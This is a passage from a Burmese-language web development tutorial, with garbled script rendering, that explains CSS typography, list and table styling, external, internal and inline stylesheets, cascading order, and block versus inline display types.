တို့ အဆင်ိ ပပိပပအလပုမ်လပု်ိ တာလ့ို့  Accessibility ရှုိဒါင့်အရေ  Relative Unit ိတသွာသံုးသင့်တယ်လို့ဆုိအကြ
ပပန ်ပါတယ်။ 

မတ်ှချကြ် ။ ။ ဒတိုယအဆုိကြ သပိမ်မနှ်ိ တာပ့ါဘးူ။ တစခ်ျိနက်ြ လူသုံးများခဲ့တ့ဲ Internet Explorer 6 မာှ Font Size ိတွကြို px
နဲ့ သတ်မတ်ှခဲ့ရေင် Browser Zoom-Out လုပလ်ညး် စာလံုးိတွကြ ကကြးီမလာတာမျိုးပဖေစခ်ဲ့ပါတယ။် ဒါိပမယ့် ဒစီာိရေးိနချိနမ်ာှ
တစက်ြမ္ဘာလံုး အတုိငး်အတာနဲ့ Internet Explorer 6 အသုံးပပုသ ူ1% ိတာင ်မရေှိိ တာပ့ါဘးူ။ 

အားသာချက်ြအားနညး်ချက်ြဟာ  နစ်ှမျို းလုံးမာှရေှိလို့  အသံုးပပုသူရေဲ့  ိရေးွချယ်မှုကြသာ  အဓကိြပဖေစ်ပါတယ်။  ကုိြယ့ရ်ေဲ့
Design Decision ိပါ်မတူညအ်သံုးပပုရေမာှပဖေစ်လို့ အိသမတှလ်ို့ရေနိုငမ်ာှမဟတုပ်ါဘးူ။ ကြျွန်ိ တာက်ြိတာ့ ဒအီခနး်
မာှိဖောပ်ပမယ့် နမနူာအများစုမာှ px Unit ကုိြသာသံုးပါမယ။် အခန်း (၁၄) Mobile Web ကြျရေင် ိတာ့ em နဲ့ % နစ်ှ
ခလုုံးကုိြအသံုးပပုပပးီ နမနူာိတကုိွြ ိဖောပ်ပိပးမာှပဖေစ်ပါတယ်။

Typography အိနနဲ့သတပိပုသင့်တာတစ်ခကုြ၊  စာလုံးိတကုိွြ Size ိရေးွချယ်သတမ်တှတ်ဲ့အခါ Balance လ့ုိိခါ်တဲ့
ညညီတွမ်ျှတမှုရေှိိ စဖေို့ အချို းလိုက်ြအသံုးပပုသင့်ပါတယ်။ စိတကူ်ြးနဲ့ ိကြာငး်မယ်ထငသ်လို သတမ်တှရ်ေင်  Balance မ
ပဖေစ်လို့ ဖေတရ်ေတာ မိချာိမွ့တာ မျို းပဖေစ်တက်ြပါတယ်။  ပုံ  (၃-ည) မာှ နမနူာအချို းတစ်ခကုိုြိဖောပ်ပိပးထားပါတယ်။
ိလလ့ာ အကြည့်ရှုနိုငပ်ါတယ်။ 
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ပုံ (၃-ည) Typographic Scale
source: http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography

Text  ိတနွဲ့ပတသ်က်ြပပီး ိနာက်ြထပအ်သံုးဝငတ်ဲ့  Property  ကြိတာ့  line-height  ပဖေစ်ပါတယ်။ စာိအကြာငး် တစ်
ိအကြာငး်ရေဲ့  အပမင့ဘ်ယ်ိလာက်ြရေှိရေမလဲ သတမ်တှဖ်ေို့အတက်ွြအသံုးပပုနိုငပ်ါတယ်။  ဥပမာ - font-size ကြ 16px
ပဖေစ်ပပးီ  စာိအကြာငး်အပမင့်ကြလညး်  16px ပဖေစ်ိနရေင်  စာိအကြာငး်ိတဟွာ တစ်ခနုဲ့တစ်ခု  ကွြက်ြတကိြပ်ိ နမာှ  ပဖေစ်ပါ
တယ်။ ဖေတလ်ို့  သိပ်အဆငမ်ိပပပါဘးူ။  Typography  ရှုိဒါင့်ကြိနအအကံြပပုအကြတာကြိတာ့  line-height ကုိြ
စာလုံး Size ရေဲ့  တစ်ဆခွဲသတမ်တှပ်ခငး်ဟာ ဖေတရ်ှုရေအဆငအ်ိပပဆုံးပဖေစ်တယ်လို့ဆုိအကြပါတယ်။ ဒါိအကြာင့် ကြျွန်ိ တာ်
ကြိတာအ့ပမဲ ဒလီို သံုးိလရ့ေှိပါတယ် -

body {
  font-size: 16px;
  line-height: 1.5em;
}

line-height ကုိြ  1.5em လ့ုိ ိပပာလိုက်ြိတာ့ ိနာက်ြပိုငး်  font-size ိပပာငး်လညး်  line-height ကုိြ
လိုက်ြိပပာငး်စရော  မလိို တာဘ့းူိပါ့။  line-height ကြ  အပမတဲမး်  စာလုံးတစ်လုံးခွဲစာိနရောယူိနမာှပပဲဖေစ်ပါ
တယ်။ အတအိကြျသတမ်တှခ်ျင် ရေငလ်ညး် ဥပမာအားပဖေင့်  line-height: 22px; ဆုိပပီး အတိအကြျသတမ်တှ်
နိုငပ်ါတယ။်

http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography
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ပုံ (၃-ဋ) Line Height in Typography
source: http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography

ပုံ  (၃-ဋ) မာှသင့်ိ တာတ်ဲ့  Line  Height  ကြ ဖေတရ်ှုိချာိမွ့မှုကုိြိထာက်ြအကူြပဖေစ်ိစပုံကုိြ  ိဖောပ်ပိပးထားပါတယ။်
Line Height  နဲ့ပတသ်က်ြရေင် ိနာက်ြထပသ်တပိပုသင့်တာကြိတာ့  Vertical Rhythm ပဖေစ်ပါတယ်။ တစ်ချို ့စာပိုဒ်
ိတမွာှ  သံုးထားတာကြ  Line Height  တစ်မျို း  တစ်ချို ့စာပိုဒ်ိ တမွာှိနာက်ြတစ်မျို းဆုိရေငလ်ညး် ဖေတရ်ှုရေမိချာိမွ့
တာမျို းပဖေစ်တက်ြ ပါတယ်။  ပုံ (၃-ဌ) မာှ နှိုငး်ယှဉ ်ိလ့လာအကြည့်နိုငပ်ါတယ်။

http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography
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ပုံ (၃-ဌ) Vertical Rhythm in Typography
source: http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography

ဒကီြဏမာှပဖေည့်စွက်ြမတှသ်ားသင့်တဲ့ Property နစ်ှခကုြိတာ့ letter-spacing နဲ့ word-spacing တို့ ပဖေစ်ပါ
တယ်။ စာလုံးတစ်လုံးနဲ့တစ်လုံးအကြား အကွြာအိဝးကုိြသတမ်တှဖ်ေို့  letter-spacing ကုိြ သံုးနိုငပ်ါတယ်။ စကြား
စု တစ်စုနဲ့တစ်စုအကြား အကြာွအိဝးကုိြ သတမ်တှခ်ျက်ြရေင်ိ တာ ့ word-spacing ကုိြ သံုးနိုငပ်ါတယ်။

p {
  letter-spacing: -1px;
  word-spacing: 4px;
}

နမနူနာမာှ  letter-spacing ကုိြ  -1px လိုိ့ ပပာလိုက်ြိတာ့ စာလုံးတစ်လုံးနဲ့တစ်လုံး ကွြာမသွားတဲ့အပပင် ပိုပပးီ
ကြပသွ်ားမာှ  ပဖေစ်ပါတယ်။  Minus  နဲ့လညး်  ိပးလို့ရေတယ်ဆိတုာ  သတပိပုမိိ အာင်ိ ဖောပ်ပိပးတာပါ။  စာလုံးိတွ
အိအကြာငး်ိပပာလက်ြစနဲ့  သတပိပုသင့်တဲ့ အချက်ြတစ်ချက်ြကုိြ ပဖေည့်စွက်ြချငပ်ါတယ်။အ့ဲဒါကြိတာ့  Measure  လ့ုိိခါ်
တဲ့  စာပိုဒအ်ကြျယ်ပဖေစ်ပါတယ်။  သိပက်ြျယ်လနွး်ရေငဖ်ေတရ်ေခက်ြသလို၊  သိပက်ြျဉး်လနွး်  ရေငလ်ညး်ဖေတရ်ေခက်ြပါတယ်။
မျှတတဲ့အကြျယ် ကြိတာ့ စာလုံး  (၃၀)  စာိလာက်ြပဖေစ်တယ်လို့ဆုိအကြပါတယ်။ ဒါိအကြာင့်  ကြျွန်ိ တာက်ြိတာ့ စာပိုဒ်
တိုငး်ကုိြ  width Property သံုးပပးီ ဒလီိုသတမ်တှ်ိ လရ့ေှိပါတယ်။

http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography
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p {
  font-size: 14px;
  width: 30em;
}

ပုံ (၃-ဍ) မာှ နှိုငး်ယဉ်ိ လလ့ာအကြည့်ပါ။

ပုံ (၃-ဍ) Measure in Typography
source: http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography

http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography
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Styling Lists and Tables
<ul> <ol> Element  ိတနွဲ့  Document  ထဲမာှ  ထည့်သွငး်ထားတဲ့  List  ိတရွေဲ့  Bullet  နဲ့  Number Style
သတမ်တှပ်ုံိ တကုိွြ ိဖောပ်ပိပးချငပ်ါတယ်။ list-style-type Property ကုိြသံုးပပးီ Marker အပဖေစ်ိဖောပ်ပိစလို
တဲ့  Number  သုိမ့ဟတု်  Bullet  ကုိြ  သတမ်တှန်ိုငပ်ါတယ်။ တဲွဖေက်ြအသံုးပပုနိုငတ်ဲ့  Value  ိတကွြိတာ့  circle
(○), disc(●), square(■), decimal (1-2-3), lower-alpha (a-b-c), lower-
roman (i-ii-iii), upper-alpha (A-B-C), upper-roman (I-II-III) တို့ပပဲဖေစ်ပါတယ်။
armenian,  georgian,  greek စတဲ့  Value  ိတလွညး်  ရေှိိ သးိပမယ့်  အသံုးနည်းပါတယ်။  list-
style-type မသတမ်တှထ်ားရေင်  <ul> အတက်ွြ  disc ကုိြ  Default  အိနနဲ့အသုံးပပုပပးီ  <ol> အတက်ွြ
decimal ကုိြ Default အိနနဲ့ အသံုးပပုိဖောပ်ပိပးမာှပဖေစ်ပါတယ်။  Bullet ိတ ွNumber ိတ ွမလိုချငလ်ို့ ပဖေုတ်
ပပစ်ချငရ်ေင်ိ တာ့ none ကုိြ သံုးရေပါတယ်။ List ဆုိတိုငး် Bullet နဲ့ ိဖောပ်ပချငတ်ာမဟတုလ်ို့  none ကြလညး် အသံုး
များပါတယ်။

ိနာက်ြထပအ်သုံးဝငတ်ဲ့  List  Property  ကြိတာ့  list-style-image ပဖေစ်ပါတယ်။  List  Marker  ပဖေစ်တဲ့
Bullet ိတ ွNumber ိတအွစား Icon Image ိလးိတနွဲ့ ိဖောပ်ပလိုရေငအ်သံုပပုနိုငပ်ါတယ်။

ul {
  list-style-image: url(arrow.png);
}

list-style-image အတက်ွြ Value ကုိြ background-image မာှလိုပ ဲurl() နဲ့ သတမ်တှ်ိ ပးရေပါတယ်။

<table> Element  ကုိြ  Style  ိတသွတမ်တှန်ိုငဖ်ေို့အတက်ွြ  ပဖေည့်စွက်ြိလလ့ာရေမယ့်  Property  နစ်ှခရုေှိပါတယ်။
border-spacing နဲ့  border-collapse တို့ပပဲဖေစ်ပါတယ်။  border-spacing Property  ကုိြ  Table
Cell  ိတ ွတစ်ခနုဲ့တစ်ခု  အကြားကြ အကြာွအိဝးသတမ်တှဖ်ေို့  အသံုးပပုရေပါတယ်။  border-collapse ကုိြိတာ့
Table Cell ိတမွာှ ဘယ်လို Border Style ကုိြအသံုးပပုရေမလသဲတမ်တှဖ်ေို့အသံုးပပုရေပါတယ်။ 

ပုံ (၃-ဎ) မာှိဖောပ်ပိပးထားတဲ့ Table Style ရေိအာင် ဒလီိုိ ရေးသား ိပးရေမာှပဖေစ်ပါတယ်။ 

table { 
  border-spacing: 1px; 
  background: #247; 
}

td { 
  background: white; 
  border-collapse: collapse; 
} 

th { 
  color: white; 
}
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ပုံ (၃-ဎ) CSS Table Style

နမနူာမာှ  border-spacing:  1px; ကုိြ  table  အတက်ွြ  သတမ်တှ်ိ ပးပပးီ  border-collapse:
collapse; ကုိြိတာ့  td အတက်ွြ သတမ်တှ်ိ ပးထားတာပဖေစ်ပါတယ်။ အမနှ်ိ တာ့ အခနုမနူာမာှ၊  Cell  ိတအွကြား
ထကဲြ ိတွ့ိနရေတဲ့  Border  ပုံစံ လုိငး်ိတကွြ  Border  မဟတုပ်ါဘးူ။  Table Background Color  ကုိြ  Cell  ိတွ
အကြားထမဲာှရေှိိ နတဲ့  Space  ကြိန ပမင်ိ တွ့ိနရေလို့  Border  လုိငး် ိလးိတလွိုထ့ငစ်ရောပဖေစ်ိနတာပဖေစ်ပါတယ်။  ဒီ
နညး်ကြ Table ိတကုိွြ Border လိုငး် ိတနွဲ့ိ ဖောပ်ပလိုတဲ့အခါအသံုးပပုိလရ့ေှိတဲ့ နညး်လမး်ပပဲဖေစ်ပါတယ်။

အခုဆုိရေင်  CSS အိပခခံ  Property ိတ ွစံုသိလာက်ြရေှိသွားပါပပ။ီ ဒါိပမယ့် CSS ကုိြ ဘယ်နားမာှိရေးပပးီ  HTML
Document နဲ့ဘယ်လိုချတိဆ်က်ြရေလမဲိပပာရေိသးပါဘးူ။ ဆက်ြအကြည့်ချငပ်ါတယ်။
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3.7 - External CSS
CSS  Rule  ထည့်သွငး်ိရေးသားထားတဲ့  File  ိတကုိွြ  css Extension  နဲ့  သိမး်ဆညး်ိပးရေပါတယ်  (ဥပမာ  -
style.css, layout.css, widget.css)။ ပပးီခဲ့တဲ့ အခနး်မာှိပပာခဲ့သလိုပဲ File တစ်ခဟုာ ဘာ File လဲ
ဆုိတာကုိြ ကွြနပ်ျူတာကြ ဆံုးပဖေတဖ်ေို့   File  ရေဲ့  Content-Type Attribute  ကြအဓကိြပဖေစ်ပါတယ်။ ဒါိပမယ့်  File
Extension ကုိြ css သိမး်ဆညး် ိပးလိုက်ြရေင် Content-Type Attribute ကုိြ သီးပခားသတမ်တှ်ိ နစရောမလိို တာပ့ဲ
ကွြနပ်ျူတာကြ  CSS Style  File  မနှး်သိရေှသွိားိစမာှပဖေစ်ပါတယ်။  CSS File  ိတကုိွြ  Web  Document  ထဲမာှ
ချတိဆ်က်ြ အသံုးပပုလိုရေင ်<link> Element ကုိြအသံုးပပုချတိဆ်က်ြရေပါတယ်။ ဥပမာ - 

<link rel="stylesheet" href="style.css">

<link> Element  ကုိြ  Favicon,  RSS  အစရေှိတဲ့  တစ်ပခား  Resource  ိတနွဲ့  ချတိဆ်က်ြဖေို့လညး်သံုးိသးတဲ့
အတက်ွြ  rel Attribute  မာှ  stylesheet လ့ုိ သတမ်တှ်ိ ပးဖေိုအ့ပပ်ါတယ။်  href Attribute  မာှိတာ့  CSS
File ရေှိိ နတဲ့ URL ကုိြ ထည့်သွငး်ိပးရေပါတယ်။ ဒလီိုချတိဆ်က်ြိပးလိုက်ြပခငး်ဟာ ဒီ Document ကုိြိဖောပ်ပတဲ့အခါ
style.css ထမဲာှ သတမ်တှထ်ားတဲ့အတိုင်း ိဖောပ်ပိပးပါလို့ ိအကြပငာလိုက်ြပခငး်လညး်ပဖေစ်ပါတယ်။

<link> Element ကုိြ နစ်ှသက်ြရောိနရောမာှထည့်သွငး်နိုင်ိ ပမယ့်၊ ိအကြပငာချက်ြတစ်မျို းပဖေစ်လို့ <head> Element
အတငွး်မာှ ထည့်သွငး်ိပးမပှိုမိုထိိ ရောက်ြမာှပဖေစ်ပါတယ်။ ဥပမာ  - Browser  ကြ  <body> Element  ထကဲြအချက်ြ
အလက်ြိတကုိွြ မိဖောပ်ပခင် ဘယ်လို Style နဲ့ိ ဖောပ်ပရေမလဲ ကကိြုတငပ်ပငဆ်ငန်ိုငလ်ို့ ပိုမိုိ ချာိမွ့အဆင် ိပပိစမာှပဖေစ် ပါ
တယ်။ ဒါိအကြာင့် <link> Element ကုိြ <head> Element အတငွး်မာှပထဲည့်သွင်းသင့်ပါတယ်။

ဒလီို  css Extension  နဲ့  သိမး်ဆညး်ထားတဲ့  CSS Style File  ိတဟွာ  HTML Document  နဲ့  မသက်ြဆုိငပ်ဲ
သီးပခား ပဖေစ်ိနိစတဲ့အတက်ွြ External CSS လ့ုိိခါ်ပါတယ်။ External CSS ရေဲ့အားသာချက်ြ နစ်ှချက်ြရေှိပါတယ်။
နပံါတ် (၁) ကြိတာ့ Style ိတကုိွြခွဲ ထတုလ်ိုက်ြတဲ့အတက်ွြ HTML Document ဟာ Semantic Data Structure
အပဖေစ်သးီပခားရေပ်  တညန်ိုငသွ်ားမာှပဲ  ပဖေစ်ပါတယ။်  CSS  ကုိြ  ဖေနတ်းီတထီငွရ်ေတဲ့  ရေညရ်ေယ်ွချက်ြကြလညး်  ဒီ
ရေညရ်ေယ်ွချက်ြနဲ့ပဲ တီထငွခ်ဲ့တာပဖေစ်ပါတယ်။ 

နပံါတ် (၂) ကြိတာ့ CSS Style File တစ်ခကုိုြ HTML Document ိပါငး်များစွာကြ ချတိဆ်က်ြရေယူအသံုးပပုနိုငလ်ို့
တညူတီဲ့  Style  ိတကုိွြ  ထပခ်ါထပခ်ါပပန်ိ ရေးစရောမလိို တာတ့ဲ့  Reusable  အားသာချက်ြရေရေှိသွားိစပါတယ်။  ဒလီို
Style File တစ်ခကုိုြ ိဝမျှသံုးတဲ့ အတက်ွြ ပပငဆ်ငမ်ှု တပွပုလပုဖ်ေို့ လိုအပလ်ာရေငလ်ညး် Style File မာှ ပပငလ်ိုက်ြယံုနဲ့
ချတိဆ်က်ြ ရေယူပပးီသံုးထားတဲ့ Document အားလုံး ကုိြတစ်ပပို ငတ်ညး် Effect ပဖေစ်ိစမာှပဖေစ်လို့ များစွာလယ်ွကူြသွား
ိစမာှပဖေစ်ပါတယ်။ ပပးီိတာ့ Cache အားသာချက်ြကြလညး် ရေှိပါိသးတယ်။ Document တစ်ခကုိုြ ရေယူလိုက်ြတဲ့အခါ
သက်ြဆိငုရ်ော ချတိဆ်က်ြထားတဲ့  Style File  ကုိြပါ  Browser  ကြ Cache  လပုထ်ားနိုင် မာှပဖေစ်ပါတယ်။ အ့ဲဒီ  Style
File ကုိြပသံုဲးထားတဲ့ိ နာက်ြ Document တစ်ခကုိုြရေယူတဲ့အခါမာှ Style File ကြ အတတူပူပဲဖေစ်လို့ထပယ်ူ စရောမလို
ိတာပ့ဲ Cache လုပ် ထားတာကုိြအသံုးပပုနိုငတ်ဲ့အတက်ွြ Performance ပိုငး်မာှ ပိုမိုိ ကြာငး်မနွသွ်ားမာှပပဲဖေစ်ပါတယ်။
ဒါိအကြာင့် နညး်လမး်အမျို းမျို း ရေှိတဲ့အနက်ြကြ ဒနီညး်ကုိြပဲ လက်ြိတွ့မာှအသံုးပပုသင့်တာ ပဖေစ်ပါတယ်။
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3.8 - Internal CSS
ိနာက်ြထပန်ညး်လမး်တစ်ခအုိနနဲ့  CSS  ိတကုိွြ  HTML Document  အတငွး်မာှ  <style> Element  သံုးပပီး
ထည့်သွငး်  ိရေးသားနိုငပ်ါတယ်။  HTML  Document  ထဲမာှ  ိရေးသားထားလို့  Internal  CSS  လိုိ့ ခါ်ပါတယ်။
Document တစ်ခတုညး်အတက်ွြ သီးပခားသတမ်တှဖ်ေို့လိုအပတ်ဲ့ Style ိတွိ ရေးဖေို့အသံုးဝငပ်ါတယ်။ External CSS
ကြရေတဲ့ Style ိတသီွး ပခားခွဲထတုန်ိုငပ်ခငး်နဲ့ Reusable အားသာချက်ြိတွိ တာ့ Internal CSS မာှ ရေရေှိမာှမဟတုပ်ါ
ဘးူ။ သူလညး်ပဲ နစ်ှသက်ြရော ိနရောမာှ ိရေးသားနိုင်ိ ပမယ့် <head> Element အတငွး်မာှ ိရေးသားသင့်ပါတယ။်

<style>
  body {
    font-size: 16px;
    line-height: 1.5em;
    color: #222;
  }

  h1 {
    font-size: 21px;
    font-weight: normal;
  }

  … 
</style>

<style> Element အတက်ွြအရေငက်ြ type="text/css" ဆုိတဲ့ Attribute ထည့်သွငး်ိပးရေိလရ့ေှိပါတယ်။ ဒါ
ိပမယ့် CSS အပပင် တစ်ပခားတငွတ်ငွက်ြျယ်ကြျယ်သံုးတဲ့ Style Language မရေှိသလို type Attribute မပါတဲ့အခါ
Browser ိတကွြ အလိုအိလျှာက်ြ CSS လ့ုိ နားလည်ိ ပးသွားမာှပဖေစ်လို့ ထည့်စရောမလိုအပ်ိ တာပ့ါဘးူ။

3.9 - Inline CSS
ိနာက်ြတစ်နညး်ကြိတာ ့သက်ြဆုိငရ်ော Element မာှ style Attribute သံုးပပီးိရေးသားပခငး်ပဖေစ်ပါတယ်။ Element
နဲ့ အတတူွဲဖေက်ြသတမ်တှထ်ားလို့  Inline CSS လို့ ိခါ်ပါတယ်။  သက်ြဆုိငရ်ော Element နဲ့အတတူွဲဖေက်ြိရေးသားတာ
ပဖေစ်လို့ သူမ့ာှ Selector မလိို တာပ့ါဘးူ။ Property နဲ့ Value ိတခွျညး်ပဲိ ရေးသားိပးရေမာှပဖေစ်ပါတယ်။

<p style="color:red; font-style:italic;"> … </p>

Inline CSS ကုိြိတာ့ အတက်ြနိုင်ဆံုး ိရောှငရ်ေမာှပဖေစ်ပါတယ။်  Style  ိတကုိွြသာ HTML Element  ိတနွဲ့ တဲွိရေး
ချငရ်ေင်  CSS  ိတာင်  ကြျွန်ိ တာတ်ို့  သံုးမိနပါဘးူ။  HTML  မာှလညး်  <font> <center> တို့လို  Style
သတမ်တှန်ိုငတ်ဲ့  Element  ိတ ွbgcolor, border တို့လို  Style  သတမ်တှတ်ဲ့  Attribute  ိတ ွရေှိိ နလို့ စကြ
တညး်ကြ ဒ ီElement နဲ့ Attribute ိတ ွအသံုးပပုလိုက်ြယံုပါပ။ဲ 

Inline CSS  အသံုးဝငတ်ဲ့ိ နရောိတာရ့ေှိပါတယ။် အဲဒ့ါကြိတာ့  JavaScript  နဲ့  Interactive User Interface  ိတွ
တည်  ိဆာက်ြတဲ့  ိနရောမာှပပဲဖေစ်ပါတယ်။  JavaScript  ကြိနလိုအပတ်ဲ့  Interface  Interaction  ကုိြရေရေှိဖေို့  Inline
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CSS ကုိြ သင့ိ် တာသ်လို အသံုးပပုသွားမာှပဖေစ်ပါတယ်။ ိနာက်ြတစ်ခနး်မာှ JavaScript ိလ့လာတဲ့ အခါိတွ့ရေမာှပါ။
လိုရေငး်ကြိတာ့ Inline CSS ဟာ JavaScript နဲ့ တွဲဖေက်ြအသံုးပပုဖေိုအ့သံုးဝင်ိ ပမယ့်  Document Style သက်ြမတှ်
ဖေို့သက်ြသက်ြအတက်ွြ ဆုိရေင် အသံုးမပပုသင့်တဲ့ နညး်လမး်တစ်မျို းပပဲဖေစ်ပါတယ်။

3.10 - Multiple Style Sheets and Cascading Order
Browser ကြ Style နဲ့ပတသ်က်ြပပီး အလပုလ်ပုတ်ဲ့အခါ  Default  External Style  Internal Style  Inline→ → →

Style  ဆုိတဲ့  အစီအစဉအ်တိုငး်လပုသွ်ားိလရ့ေှိပါတယ်။  ဒါကုိြ  Cascading  Order  လ့ုိလညး်ိခါ်ပါတယ်။  ရေှိသမျှ
Style ိတအွားလုံးကုိြ အစီအစဉ် အတိုငး်အလပုလ်ပု်ိ ပးသွားတာပဖေစ်ပါတယ်။

Element  တစ်ခအုတက်ွြ  External Style  အိနနဲ့ိ ရေးထားတဲ့  Rule  နဲ့  Internal Style  အိနနဲ့  ိရေးသားထားတဲ့
Rule  ထပ်ိ နခဲ့ရေင၊်  ိနာက်ြမအှလပုလ်ပုတ်ဲ့  Internal  Rule  ကြ  External  Rule  ကုိြ  Overwrite  လပုသွ်ားလို့
Internal Rule ကြ အတည် ပဖေစ်ိနိစမာှပဖေစ်ပါတယ်။ Inline Style ိတကုိွြိတာ့ ိနာက်ြဆံုးမှအလပုလ်ပုလ်ို့ Inline
Style သာ သတမ်တှ ်ထားရေင ်ကြျနအ်ားလုံးကုိြ Overwrite လုပသွ်ားမာှပဖေစ်ပါတယ်။

လက်ြိတွ့မာှ  HTML Document  တစ်ခနုဲ့  ချတိဆ်ကြအ်သံုးပပုတဲ့   External  Style  ိတလွညး် တစ်ခထုက်ြပိုရေှိ
တက်ြပါ  တယ်။  ဒီ  External  Style  ိတထွမဲာှကုိြ  တစ်ခနုဲ့တစ်ခု  ပပနထ်ပ်ိ နတဲ့  Rule  ိတလွညး်ရေှိတက်ြပါတယ်။
အရုိးရေငှ်းဆံုး  နားလညထ်ားိစချငတ်ာကြ၊  Browser  ိတကွြ  CSS Rule  ိတကုိွြ အိပခခအံားပဖေင့်  တစ်လိုငး်ချငး်
(Line-by-Line)   အစီအစဉ်အတိုငး်အလပုလ်ပု်  သွားတယ်လို့နားလည်ိ စချငပ်ါတယ်။ ဒါိအကြာင့်  Rule  ိတထွပ်
လာတဲ့ အခါ အရေငသ်တမ်တှ် ခဲ့တဲ့ Rule ကုိြ ိနာက်ြမသှတမ်တှတ်ဲ့ Rule ကြ Overwrite လုပသွ်ားမာှပပဲဖေစ်ပါတယ။်
<link> Element  နဲ့ ချတိဆ်က်ြတဲ့အခါ  ိနာက်ြမခှျတိဆ်က်ြတဲ့  CSS File  ထဲကြ Style  ိတကွြအရေငခ်ျတိဆ်က်ြ
ထားတဲ့ File ထဲကြ Style ိတကုိွြ (ထပ်ိ နခဲ့ရေင်) Overwrite လုပသွ်ားမာှပပဲဖေစ်ပါတယ။်

/* First Declaration for <h3> */
h3 {
  font-size: 18px;
  text-align: center;
  color: red;
}

… 

/* Another Declaration for <h3> again */
h3 {
  font-size: 21px;
  text-align: left;
}

ိပးထားတဲ့ နမနူာမာှ  h3 Selector  သံုးပပးီိရေးထားတဲ့  CSS Rule  ကြ နစ်ှကကိြမပ်ဖေစ်ိနပါတယ။် ပထမတစ်ကကိြမမ်ာှ
font-size, text-align နဲ့  color တို့  သတမ်တှထ်ားပပးီ  ိနာက်ြတစ်ကကိြမ်  မာှိတာ့  font-size နဲ့
text-align ကုိြ ထပသ်တမ်တှ် ထားပါတယ်။ နစ်ှခါိရေးထားိပမယ့် တစ်ကြယ်ပပနထ်ပတ်ာကြ font-size နဲ့
text-align သာပဖေစ်ပါတယ်။  color ကုိြ  ိနာက်ြတစ်ခါ  ထပမ်ိအကြပငာလို့ပပနမ်ထပ်ိ တာပ့ါဘးူ။  h3 အတက်ွြ
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ိပါငး်စပလ်ိုက်ြတဲ့ ိနာက်ြဆံုးရေလဒက်ြိတာ့ အခလုို ပဖေစ်သွားမာှပါ။

h3 {
  font-size: 21px;
  text-align: left;
  color: red;
}

Rule  ိတထွပလ်ာတဲ့အခါ အိပခခအံားပဖေင့် ဒနီညး်နဲအ့လပုလ်ပုပ်ါတယ်။ ဒါိပမယ့်  Priority  လိုိ့ ခါ်တဲ့ ဦးစားိပး
ိတွိ တာရ့ေှိပါတယ်။ ဥပမာ Element တစ်ခမုာှ ID ိရော Class ပါ သတမ်တှထ်ားတယ် ဆုိပါစုိ။့

[HTML]
<p id="note" class="note"> … </p>

[CSS]
#note {
  background-color: #FFFFDD;
}
.note {
  background-color: yellow;
}

Element  တစ်ခတုညး်ကုိြပဲ  ID  နဲ့  တစ်ခါ  Class  နဲ့တစ်ခါ  Select  လုပပ်ပးီ  ိရေးထားတာပဖေစ်ပါတယ်။  Class  နဲ့
Select  လပုပ်ပးီ  ိရေးတာကြိနာက်ြမပှဖေစ်ိပမယ့်  ဒီိ နရောမာှ  ID  နဲ့  Select  လပုပ်ပးီိရေးထားတဲ့  background-
color: #FFFFDD; ကုိြပဲ အတညယူ်သွားမာှ ပဖေစ်ပါတယ်။ ID Selector ဟာ Class Selector ထက်ြ Priority
ပမင့်လို့ပဖေစ်ပါတယ်။ Priority ကြ ပိုပပးီတကိြျတဲ့ Selector ိတကုိွြ ဦးစားိပးတာ ပဖေစ်ပါတယ်။

#nav li a {
  text-decoration: underline;
}

li a {
  text-decoration: none;
}

ဒနီစ်ှမာှဆုိရေငလ်ညး် li a  Selector ကြ ိနာက်ြမှိ ရေးိပမယ့် ပိုပပးီတကိြျတဲ့ #nav li a Selector နဲ့ ိရေးသား
ထား တဲ့ text-decoration: underline; ကုိြသာ အတညယူ်အသံုးပပုိပးသွားမာှပပဲဖေစ်ပါတယ်။ Priority
ကုိြ  !important Marker သံုးပပးီ Force လပုလ်ိုိ့ တာရ့ေပါတယ်။ ဥပမာ - 
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#nav li a {
  text-decoration: underline;
}

li a {
  text-decoration: none !important;
}

Priority  အရေ #nav li a ကြ ပမင့်ိ ပမယ့်  li a ထကဲြ text-decoration: none မာှ  !important
Marker ပါိနတဲ့အတက်ွြ text-decoration: none ကုိြ ဦးစားိပးပပီး အတညယူ်ိပးသွားမာှပပဲဖေစ်ပါတယ်။

3.11 - Display Types
HTML  Element  ိတကုိွြ  Display  Type  ိပါ်မတူညပ်ပးီ  အဓကိြအားပဖေင့်  နစ်ှအုပစု်ခွဲလိုရ့ေပါတယ်။  Block  နဲ့
Inline  တို့  ပဖေစ်ပါတယ်။  Block Element  ိတဟွာ  Parent Element  ရေဲ့အကြျယ်  (Width)  ရေှိသိလာက်ြ ိနရော
အပပည့်ယတူဲ့ Element အမျို းအစားိတပွါ။ လုိအပရ်ေင် width နဲ့ height Property ိတသံုွးပပးီ အကြျယ်နဲ့အပမင့်ကုိြ
လိုသလို  သတမ်တှန်ိုငပ်ါတယ်။ ထးူပခားချက်ြကြ သူတိုရ့ေဲ့ ိဘးမာှ  တစ်ပခား  Element  ိတကုိွြိနရောမိပးပ၊ဲ  ိနာက်ြ
တစ်လိုငး်ကုိြ ဆငး်ပပးီ ိဖောပ်ပိစတာပပဲဖေစ်ပါတယ်။ <h1> ကြိန <h6>, <p> <ul> <li> Element ိတဟွာ
Block Element ိတပွပဲဖေစ်ပါတယ။်

Inline Element ိတကွြိတာ့ Block နဲ့ ိပပာငး်ပပနပ်ဖေစ်ပါတယ။် Element Content ရေှိသိလာက်ြပဲ အပမဲိ နရောယူ
ပါတယ်။ အကြျယ်နဲအ့ပမင့်ကုိြ ပပုပပငသ်တမ်တှလ်ို့မရေပါဘူး။ အပမတဲမ်း Element Content ရေှိသိလာက်ြသာ ိနရောယူ
တဲ့  Element  ိတပွပဲဖေစ်ပါတယ။်  Inline  ဆုိတဲ့အတိုငး်လိုငး်တစ်ခအုတငွး်ကြ အစိတ်အပိုငး်တစ်ခပုဖေစ်လို့  တစ်ပခား
Inline Element ိတနွဲ့ ိဘးချငး်ယှဉလ်ျက်ြိဖောပ်ပိပးမာှပဖေစ်ပါတယ်။ ိဘးချငး်ယှဉ်ိ ဖောပ်ပိပးဖေိုိ့ နရောမဆန့်ိ တာမ့ှ
